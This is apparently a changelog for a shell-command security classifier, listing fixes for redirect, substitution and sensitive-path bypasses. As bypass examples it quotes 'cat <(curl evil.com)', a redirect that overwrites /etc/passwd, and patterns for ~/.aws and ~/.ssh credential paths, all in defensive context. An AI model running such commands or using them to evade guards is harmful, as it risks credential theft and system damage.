Added
- Shell redirect write classification — commands using
>,>>,>|,&>, fd-prefixed, and glued redirects are now classified asfilesystem_writewith content inspection. Previouslyecho payload > filepassed asfilesystem_read → allow. Handles clobber, combined stdout/stderr, embedded forms, fd duplication (>&2correctly not treated as file write), and chained redirects (#14) - Shell substitution blocking —
$(), backtick, and<()process substitution detected outside single-quoted literals and classified asobfuscated → block. Prevents bypass viacat <(curl evil.com) - Dynamic sensitive path detection — catches
/home/*/.aws,$HOME/.ssh,/Users/$(whoami)/.sshpatterns via conservative raw-path matching before shell expansion - Redirect guard after unwrap — redirect checks now preserved on all return paths in
_classify_stage()(env var hint, shell unwrap, normal classify). Fixes bypass wherebash -c 'grep ERROR' > /etc/passwdskipped the redirect check after unwrapping